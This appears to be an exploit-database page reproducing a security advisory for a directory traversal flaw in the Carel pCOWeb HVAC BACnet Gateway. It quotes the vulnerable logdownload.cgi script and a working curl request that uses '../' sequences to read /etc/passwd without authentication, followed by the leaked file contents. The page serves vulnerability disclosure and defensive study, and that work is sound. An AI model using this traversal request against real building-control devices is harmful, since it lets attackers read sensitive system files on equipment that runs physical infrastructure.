dfb28913d0
7 changes to exploits/shellcodes Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path rpc.py 0.6.0 - Remote Code Execution (RCE) Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) - Remote Code Execution Geonetwork 4.2.0 - XML External Entity (XXE) Dingtian-DT-R002 3.1.276A - Authentication Bypass Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Directory Traversal WordPress Plugin WP-UserOnline 2.87.6 - Stored Cross-Site Scripting (XSS)
117 lines
No EOL
4 KiB
Text
117 lines
No EOL
4 KiB
Text
# Exploit Title: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Directory Traversal
|
|
# Exploit Author: LiquidWorm
|
|
|
|
|
|
Vendor: CAREL INDUSTRIES S.p.A.
|
|
Product web page: https://www.carel.com
|
|
Affected version: Firmware: A2.1.0 - B2.1.0
|
|
Application Software: 2.15.4A
|
|
Software version: v16 13020200
|
|
|
|
Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R
|
|
applications and systems. It consists of programmable controllers, user interfaces,
|
|
gateways and communication interfaces, remote management systems to offer the OEMs
|
|
working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced
|
|
to the more widely-used Building Management Systems, and can also be integrated into
|
|
proprietary supervisory systems.
|
|
|
|
Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability.
|
|
Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script
|
|
is not properly verified before being used to download log files. This can be exploited
|
|
to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
|
|
|
|
=======================================================================================
|
|
/usr/local/www/usr-cgi/logdownload.cgi:
|
|
---------------------------------------
|
|
|
|
01: #!/bin/bash
|
|
02:
|
|
03: if [ "$REQUEST_METHOD" = "POST" ]; then
|
|
04: read QUERY_STRING
|
|
05: REQUEST_METHOD=GET
|
|
06: export REQUEST_METHOD
|
|
07: export QUERY_STRING
|
|
08: fi
|
|
09:
|
|
10: LOGDIR="/usr/local/root/flash/http/log"
|
|
11:
|
|
12: tmp=${QUERY_STRING%"$"*}
|
|
13: cmd=${tmp%"="*}
|
|
14: if [ "$cmd" = "dir" ]; then
|
|
15: PATHCURRENT=$LOGDIR/${tmp#*"="}
|
|
16: else
|
|
17: PATHCURRENT=$LOGDIR
|
|
18: fi
|
|
19:
|
|
20: tmp=${QUERY_STRING#*"$"}
|
|
21: cmd=${tmp%"="*}
|
|
22: if [ "$cmd" = "file" ]; then
|
|
23: FILECURRENT=${tmp#*"="}
|
|
24: else
|
|
25: if [ -f $PATHCURRENT/lastlog.csv.gz ]; then
|
|
26: FILECURRENT=lastlog.csv.gz
|
|
27: else
|
|
28: FILECURRENT=lastlog.csv
|
|
29: fi
|
|
30: fi
|
|
31:
|
|
32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then
|
|
33: echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n"
|
|
34: cat carel.inc.html
|
|
35: echo "<center>File not available!</center>"
|
|
36: cat carel.bottom.html
|
|
37: exit
|
|
38: fi
|
|
39:
|
|
40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then
|
|
41: if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then
|
|
42: if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then
|
|
43: echo -ne "Content-Type: text/csv\r\n"
|
|
44: else
|
|
45: echo -ne "Content-Type: image/svg+xml\r\n"
|
|
46: fi
|
|
47: else
|
|
48: echo -ne "Content-Type: image/bmp\r\n"
|
|
49: fi
|
|
50: else
|
|
51: echo -ne "Content-Type: application/x-gzip\r\n"
|
|
52: fi
|
|
53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n"
|
|
54:
|
|
55: cat $PATHCURRENT/$FILECURRENT
|
|
|
|
=======================================================================================
|
|
|
|
Tested on: GNU/Linux 4.11.12 (armv7l)
|
|
thttpd/2.29
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2022-5709
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php
|
|
|
|
|
|
10.05.2022
|
|
|
|
--
|
|
|
|
|
|
$ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd
|
|
|
|
root:x:0:0:root:/root:/bin/sh
|
|
daemon:x:1:1:daemon:/usr/sbin:/bin/false
|
|
bin:x:2:2:bin:/bin:/bin/false
|
|
sys:x:3:3:sys:/dev:/bin/false
|
|
sync:x:4:100:sync:/bin:/bin/sync
|
|
mail:x:8:8:mail:/var/spool/mail:/bin/false
|
|
www-data:x:33:33:www-data:/var/www:/bin/false
|
|
operator:x:37:37:Operator:/var:/bin/false
|
|
nobody:x:65534:65534:nobody:/home:/bin/false
|
|
guest:x:502:101::/home/guest:/bin/bash
|
|
carel:x:500:500:Carel:/home/carel:/bin/bash
|
|
http:x:48:48:HTTP users:/usr/local/www/http:/bin/false
|
|
httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash
|
|
sshd:x:1000:1001:SSH drop priv user:/:/bin/false |